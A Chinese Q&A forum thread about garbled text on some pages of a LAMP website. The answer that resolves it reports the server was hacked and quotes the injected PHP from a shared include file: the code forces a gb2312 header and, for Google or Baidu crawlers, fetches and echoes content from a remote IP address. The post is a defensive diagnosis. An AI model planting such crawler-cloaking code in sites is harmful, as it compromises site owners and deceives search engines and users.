LAMP，html页面乱码问题

Question

1.今天突然发现网站中有一部分页面出现乱码，注意！是一部分

2.我的解bug过程如下
这个时候第一感觉是不是上传的html文件的编码有问题，使用命令

set fileencoding

查看后相关文件编码没有问题，
。。。
然后查看html头部中的meta部分，设置的也是 utf-8,也是没问题的
。。。
我的服务器环境是 LAMP，查看了下Apache配置中的默认编码，是utf-8，也是没问题的
。。。
查看php文件的问题，文件编码也是没有问题的，
。。。
现阶段我的解决办法试在php文件头部，添加代码

header("Content-Type: text/html; charset=utf-8");

然后有一部分页面的问题解决了，但是仍然有些页面问题解决不了！
求：大神给建议！

Answer 1

数据库编码、页面编码、php文件编码都保持一致

Answer 2

经本人测试，现将问题原因写下来！
1.一句话我们的服务器被攻击了
2.攻击代码如下:

header('Content-Type:text/html;charset=gb2312');
$key= $_SERVER["HTTP_USER_AGENT"];
if(strpos($key,'oogle')!== false||strpos($key,'aidu')!==false)
{
$file = file_get_contents('http://..52.33:81/');
echo $file;
}

这段代码放在一个公共文件中，所有的页面都会引用这个文件，这个就是问题的根源！
由于我的疏忽，一开始排查文件问题时遗漏了这个文件，
。。。
至于有的页面有问题有的页面没问题，是因为 有的php页面顶部有 header 函数，
但是有的页面即使有header函数也不行
这是因为 header函数有的是在 问题文件 的上面。
。。。
另：可以使用 headers_list();函数打印文件输出的headers进行排查文件输出是否有问题！